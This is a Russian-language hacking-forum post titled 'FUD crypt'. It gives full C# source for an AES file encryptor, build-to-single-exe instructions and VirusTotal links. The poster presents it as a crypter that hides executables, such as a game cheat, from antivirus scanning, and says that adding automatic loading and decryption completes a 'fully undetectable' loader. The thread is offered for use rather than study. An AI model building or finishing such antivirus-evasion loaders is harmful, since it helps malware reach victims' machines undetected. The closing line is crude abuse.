Загрузка...

FUD crypt

Thread in C# created by БургерКинг Jun 29, 2025. 188 views

  1. БургерКинг
    БургерКинг Topic starter Jun 29, 2025 Ищу Работу Работную Работяжную 34 Jun 18, 2023
    CSHARP
    using System;
    using System.IO;
    using System.IO.Compression;
    using System.Security;
    using System.Security.Cryptography;
    using System.Runtime.CompilerServices;
    using System.Runtime.InteropServices;

    namespace Encryption
    {
    public sealed class Encryptor : IDisposable
    {
    // AES-256
    private const int KeySize = 256;
    // PBKDF2 iteration count
    private const int Iterations = 100000;
    // 128-bit salt
    private const int SaltSize = 128;
    // 256-bit pepper
    private const int PepperSize = 32;
    private const int MinPasswordLength = 12;
    private readonly byte[] _pepper;
    private bool _disposed = false;

    public Encryptor()
    {
    try
    {
    _pepper = new byte[]
    {
    0x1A, 0x9B, 0xC3, 0x4D, 0x5E, 0x6F, 0x7A, 0x8B,
    0x9C, 0x0D, 0x1E, 0x2F, 0x3A, 0x4B, 0x5C, 0x6D,
    0x7E, 0x8F, 0x9A, 0x0B, 0x1C, 0x2D, 0x3E, 0x4F,
    0x5A, 0x6B, 0x7C, 0x8D, 0x9E, 0x0F, 0x1A, 0x2B
    };
    }
    catch (Exception ex)
    {
    throw new CryptographicException("Failed to initialize encryptor", ex);
    }
    }
    public void EncryptFile(string inputFile, string outputFile, SecureString password)
    {
    ValidateParameters(inputFile, outputFile, password);
    try
    {
    byte[] salt = GenerateSalt();
    byte[] compressedData = CompressFile(inputFile);
    byte[] passwordBytes = SecureStringToBytes(password);
    try
    {
    PerformEncryption(outputFile, salt, compressedData, passwordBytes);
    }
    finally
    {
    SecureClear(compressedData);
    SecureClear(passwordBytes);
    }
    }
    catch (Exception ex) when (!(ex is OperationCanceledException))
    {
    throw new CryptographicException($"Encryption failed: {ex.Message}", ex);
    }
    }
    public void DecryptFile(string inputFile, string outputFile, SecureString password)
    {
    ValidateParameters(inputFile, outputFile, password);
    try
    {
    byte[] passwordBytes = SecureStringToBytes(password);
    try
    {
    byte[] salt = ReadSaltFromFile(inputFile);
    byte[] decryptedData = PerformDecryption(inputFile, passwordBytes, salt);
    DecompressToFile(decryptedData, outputFile);
    SecureClear(decryptedData);
    }
    finally
    {
    SecureClear(passwordBytes);
    }
    }
    catch (CryptographicException)
    {
    throw;
    }
    catch (Exception ex) when (!(ex is OperationCanceledException))
    {
    throw new CryptographicException($"Decryption failed: {ex.Message}", ex);
    }
    }
    private byte[] GenerateSalt()
    {
    var salt = new byte[SaltSize / 8];
    using (var rng = RandomNumberGenerator.Create())
    {
    rng.GetBytes(salt);
    }
    return salt;
    }
    private void PerformEncryption(string outputFile, byte[] salt, byte[] data, byte[] passwordBytes)
    {
    using (var derivedKey = new Rfc2898DeriveBytes(
    password: Combine(passwordBytes, salt),
    salt: Combine(salt, _pepper),
    iterations: Iterations,
    hashAlgorithm: HashAlgorithmName.SHA512))
    {
    byte[] key = derivedKey.GetBytes(KeySize / 8);
    byte[] iv = derivedKey.GetBytes(128 / 8);
    try
    {
    using (var aes = Aes.Create())
    {
    ConfigureAes(aes, key, iv);
    WriteEncryptedFile(outputFile, salt, data, aes);
    }
    }
    finally
    {
    SecureClear(key);
    SecureClear(iv);
    }
    }
    }
    private byte[] PerformDecryption(string inputFile, byte[] passwordBytes, byte[] salt)
    {
    using (var derivedKey = new Rfc2898DeriveBytes(
    password: Combine(passwordBytes, salt),
    salt: Combine(salt, _pepper),
    iterations: Iterations,
    hashAlgorithm: HashAlgorithmName.SHA512))
    {
    byte[] key = derivedKey.GetBytes(KeySize / 8);
    byte[] iv = derivedKey.GetBytes(128 / 8);
    try
    {
    using (var aes = Aes.Create())
    {
    ConfigureAes(aes, key, iv);
    return ReadAndDecryptFile(inputFile, salt.Length, aes);
    }
    }
    finally
    {
    SecureClear(key);
    SecureClear(iv);
    }
    }
    }
    private byte[] CompressFile(string inputFile)
    {
    try
    {
    using (var memoryStream = new MemoryStream())
    {
    using (var gzipStream = new GZipStream(memoryStream, CompressionLevel.Optimal, leaveOpen: true))
    using (var fileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read, FileShare.Read))
    {
    fileStream.CopyTo(gzipStream);
    }
    return memoryStream.ToArray();
    }
    }
    catch (IOException ex)
    {
    throw new InvalidOperationException($"Compression failed for {inputFile}", ex);
    }
    }
    private void DecompressToFile(byte[] compressedData, string outputFile)
    {
    try
    {
    using (var memoryStream = new MemoryStream(compressedData))
    using (var gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
    using (var fileStream = new FileStream(outputFile, FileMode.Create, FileAccess.Write))
    {
    gzipStream.CopyTo(fileStream);
    }
    }
    catch (InvalidDataException ex)
    {
    throw new InvalidOperationException("Invalid compressed data format", ex);
    }
    catch (IOException ex)
    {
    throw new InvalidOperationException($"Failed to write decompressed file to {outputFile}", ex);
    }
    }
    private byte[] ReadSaltFromFile(string inputFile)
    {
    try
    {
    using (var fileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read))
    {
    byte[] salt = new byte[SaltSize / 8];
    int bytesRead = fileStream.Read(salt, 0, salt.Length);
    if (bytesRead != salt.Length)
    {
    throw new InvalidDataException("File is too short to contain salt");
    }
    return salt;
    }
    }
    catch (IOException ex)
    {
    throw new InvalidOperationException($"Failed to read salt from {inputFile}", ex);
    }
    }
    private void WriteEncryptedFile(string outputPath, byte[] salt, byte[] data, SymmetricAlgorithm algorithm)
    {
    try
    {
    using (var fileStream = new FileStream(outputPath, FileMode.Create, FileAccess.Write))
    {
    fileStream.Write(salt, 0, salt.Length);
    using (var cryptoStream = new CryptoStream(
    fileStream,
    algorithm.CreateEncryptor(),
    CryptoStreamMode.Write))
    {
    cryptoStream.Write(data, 0, data.Length);
    cryptoStream.FlushFinalBlock();
    }
    }
    }
    catch (IOException ex)
    {
    throw new InvalidOperationException($"Failed to write encrypted file to {outputPath}", ex);
    }
    }
    private byte[] ReadAndDecryptFile(string inputPath, int saltLength, SymmetricAlgorithm algorithm)
    {
    try
    {
    using (var fileStream = new FileStream(inputPath, FileMode.Open, FileAccess.Read))
    {
    fileStream.Position = saltLength;
    using (var memoryStream = new MemoryStream())
    using (var cryptoStream = new CryptoStream(
    fileStream,
    algorithm.CreateDecryptor(),
    CryptoStreamMode.Read))
    {
    cryptoStream.CopyTo(memoryStream);
    return memoryStream.ToArray();
    }
    }
    }
    catch (IOException ex)
    {
    throw new InvalidOperationException($"Failed to read encrypted file from {inputPath}", ex);
    }
    }
    private byte[] SecureStringToBytes(SecureString secureString)
    {
    IntPtr bstr = IntPtr.Zero;
    try
    {
    bstr = Marshal.SecureStringToBSTR(secureString);
    int length = Marshal.ReadInt32(bstr, -4);
    byte[] bytes = new byte[length];
    for (int i = 0; i < length; i++)
    {
    bytes[i] = Marshal.ReadByte(bstr, i);
    }
    return bytes;
    }
    finally
    {
    if (bstr != IntPtr.Zero)
    {
    Marshal.ZeroFreeBSTR(bstr);
    }
    }
    }
    private void SecureClear(byte[] data)
    {
    if (data != null)
    {
    Array.Clear(data, 0, data.Length);
    }
    }
    [MethodImpl(MethodImplOptions.AggressiveInlining)]
    private byte[] Combine(byte[] first, byte[] second)
    {
    var combined = new byte[first.Length + second.Length];
    Buffer.BlockCopy(first, 0, combined, 0, first.Length);
    Buffer.BlockCopy(second, 0, combined, first.Length, second.Length);
    return combined;
    }
    private void ConfigureAes(SymmetricAlgorithm algorithm, byte[] key, byte[] iv)
    {
    algorithm.Key = key;
    algorithm.IV = iv;
    algorithm.Mode = CipherMode.CBC;
    algorithm.Padding = PaddingMode.PKCS7;
    }
    private void ValidateParameters(string inputFile, string outputFile, SecureString password)
    {
    if (string.IsNullOrWhiteSpace(inputFile))
    throw new ArgumentNullException(nameof(inputFile), "Input file path cannot be empty");
    if (string.IsNullOrWhiteSpace(outputFile))
    throw new ArgumentNullException(nameof(outputFile), "Output file path cannot be empty");
    if (password == null)
    throw new ArgumentNullException(nameof(password), "Password cannot be null");
    if (password.Length < MinPasswordLength)
    throw new ArgumentException($"Password must be at least {MinPasswordLength} characters", nameof(password));
    if (!File.Exists(inputFile))
    throw new FileNotFoundException("Input file not found", inputFile);
    try
    {
    string? outputDir = Path.GetDirectoryName(outputFile);
    if (!string.IsNullOrEmpty(outputDir) && !Directory.Exists(outputDir))
    {
    Directory.CreateDirectory(outputDir);
    }
    }
    catch (Exception ex)
    {
    throw new ArgumentException($"Invalid output path: {ex.Message}", nameof(outputFile), ex);
    }
    }
    public void Dispose()
    {
    Dispose(true);
    GC.SuppressFinalize(this);
    }
    private void Dispose(bool disposing)
    {
    if (!_disposed)
    {
    if (disposing && _pepper != null)
    {
    SecureClear(_pepper);
    }
    _disposed = true;
    }
    }
    ~Encryptor()
    {
    Dispose(false);
    }
    }

    class Program
    {
    static void Main(string[] args)
    {
    if (args.Length < 3)
    {
    ShowUsage();
    return;
    }

    string command = args[0].ToLowerInvariant();
    string inputFile = args[1];
    string outputFile = args[2];

    try
    {
    using (SecureString password = GetPasswordFromConsole())
    {
    if (password.Length < 12)
    {
    Console.ForegroundColor = ConsoleColor.Yellow;
    Console.WriteLine("Warning: Password must be at least 12 characters long. Aborting.");
    Console.ResetColor();
    return;
    }

    using (var encryptor = new Encryptor())
    {
    switch (command)
    {
    case "encrypt":
    Console.WriteLine($"Encrypting '{inputFile}' to '{outputFile}'...");
    encryptor.EncryptFile(inputFile, outputFile, password);
    Console.ForegroundColor = ConsoleColor.Green;
    Console.WriteLine("Encryption completed successfully.");
    break;

    case "decrypt":
    Console.WriteLine($"Decrypting '{inputFile}' to '{outputFile}'...");
    encryptor.DecryptFile(inputFile, outputFile, password);
    Console.ForegroundColor = ConsoleColor.Green;
    Console.WriteLine("Decryption completed successfully.");
    break;

    default:
    Console.ForegroundColor = ConsoleColor.Red;
    Console.WriteLine($"Unknown command: '{command}'");
    Console.ResetColor();
    ShowUsage();
    break;
    }
    }
    }
    }
    catch (Exception ex)
    {
    Console.ForegroundColor = ConsoleColor.Red;
    Console.WriteLine($"\nAn error occurred: {ex.Message}");
    }
    finally
    {
    Console.ResetColor();
    }
    }

    private static void ShowUsage()
    {
    // CORRECTED: Use Environment.ProcessPath for single-file applications.
    string exeName = Path.GetFileName(Environment.ProcessPath ?? "FileEncryptor.exe");
    Console.WriteLine("\nFile Encryption/Decryption Tool");
    Console.WriteLine("---------------------------------");
    Console.WriteLine($"Usage: {exeName} [command] <input_file> <output_file>");
    Console.WriteLine("\nCommands:");
    Console.WriteLine(" encrypt Encrypts the input file.");
    Console.WriteLine(" decrypt Decrypts the input file.");
    Console.WriteLine("\nExamples:");
    Console.WriteLine($" {exeName} encrypt \"C:\\MyFiles\\program.exe\" \"C:\\MyFiles\\program.encrypted\"");
    Console.WriteLine($" {exeName} decrypt \"C:\\MyFiles\\program.encrypted\" \"C:\\MyFiles\\program.decrypted.exe\"");
    }

    private static SecureString GetPasswordFromConsole()
    {
    var password = new SecureString();
    Console.Write("Enter password (at least 12 chars, will not be displayed): ");
    while (true)
    {
    ConsoleKeyInfo key = Console.ReadKey(true);
    if (key.Key == ConsoleKey.Enter)
    {
    break;
    }
    if (key.Key == ConsoleKey.Backspace && password.Length > 0)
    {
    password.RemoveAt(password.Length - 1);
    }
    else if (key.Key != ConsoleKey.Backspace)
    {
    password.AppendChar(key.KeyChar);
    }
    }
    Console.WriteLine();
    return password;
    }
    }
    }
    Вот пошаговая инструкция для получения отдельного exe файла, для полноценной работы.
    Шаг 1: Создание проекта

    1. Откройте Visual Studio.
    2. Нажмите "Создание проекта" (Create a new project).
    3. В строке поиска шаблонов введите "Консольное приложение" (Console App).
    4. Выберите шаблон "Консольное приложение" для C# .
    5. Нажмите "Далее".
    6. Дайте проекту имя, например, FileEncryptor, и выберите местоположение. Нажмите "Далее".
    7. В окне "Дополнительные сведения" выберите последнюю версию .NET, например, .NET 8.0 (Долгосрочная поддержка). Нажмите "Создать".
    Шаг 2: Добавление вашего кода

    1. Visual Studio создаст проект с файлом Program.cs, в котором будет немного кода по умолчанию (Console.WriteLine("Hello, World!");).
    2. Полностью удалите всё содержимое файла Program.cs.
    3. Скопируйте и вставьте в него весь код, который я предоставил выше.
    Шаг 3: Публикация в один EXE-файл

    Это самый важный шаг. Мы не просто "собираем" проект, а "публикуем" его со специальными настройками.
    1. В "Обозревателе решений" (Solution Explorer) справа найдите ваш проект (FileEncryptor).
    2. Щелкните по нему правой кнопкой мыши и выберите пункт "Опубликовать" (Publish).
    3. Откроется окно публикации. В качестве цели выберите "Папка" (Folder) и нажмите "Далее".
    4. В качестве расположения снова выберите "Папка" (Folder) и нажмите "Далее".
    5. На последнем шаге "Расположение" нажмите "Готово".
    6. Теперь вы увидите сводку профиля публикации. Здесь нужно настроить самое главное. Нажмите на ссылку "Показать все параметры" (Show all settings).
    7. В открывшемся окне "Параметры профиля" установите следующие значения:
      • Режим развертывания (Deployment mode): Автономный (Self-contained).
      • Создать один файл (Produce single file): Поставьте галочку.

      • Обрезать неиспользуемые сборки (Trim unused assemblies): Можно поставить галочку, чтобы уменьшить размер файла.
      • Целевая среда выполнения (Target runtime): Выберите win-x64 (для 64-битной Windows).
    8. Нажмите кнопку "Сохранить" (Save).
    9. Вернувшись в окно публикации, нажмите большую синюю кнопку "Опубликовать" (Publish).
    Шаг 4: Поиск и использование готового файла

    Visual Studio скомпилирует проект и положит готовый .exe в специальную папку.
    1. После завершения публикации в окне Visual Studio появится ссылка "Открыть папку". Нажмите на неё.
    2. Откроется папка bin\Release\net8.0\win-x64\publish.
    3. Внутри вы увидите один единственный файл — FileEncryptor.exe.


    https://www.virustotal.com/gui/file/8771907d379afa66075008889d301edc30103d579a7142bd62f29368ad83d7b6 - донер (external cs2 чит)
    https://www.virustotal.com/gui/file/d4cf6eaad529be5ca77a6d6ba4996f2eb88ceef078b0f5aa0597319f4fb90042 - наше творение в виде *.porno, зашифрованное паролем (12 символов, который мы вводили в cmd).

    Чтобы получить обратно наш закриптованный exe файл, то вводим в cmd команды:

    1) Криптуем Exe
    FileEncryptor.exe encrypt "C:\путь\к\вашему\файлу.exe" "C:\путь\к\зашифрованному\файлу.porno"

    2) Де крипт обратно в Exe
    FileEncryptor.exe decrypt "C:\путь\к\зашифрованному\файлу.porno" "C:\путь\к\вашему\файлу.exe"

    Криптовать можно в любое расширение файла, хоть в .porno\.bin\.data\etc
    [IMG]
    [IMG]

    90% выполнено, напиши автоматическую подгрузку и декрипт через cmd командами выше. ВСЁ, ваш fud лоадер готов
    VirusTotal нагнут рачком и плачет (clear stab)
    ПУКНИ В ЛАДОШКУ И ЗАЧУХАНЬСЯ
     
Loading...
Top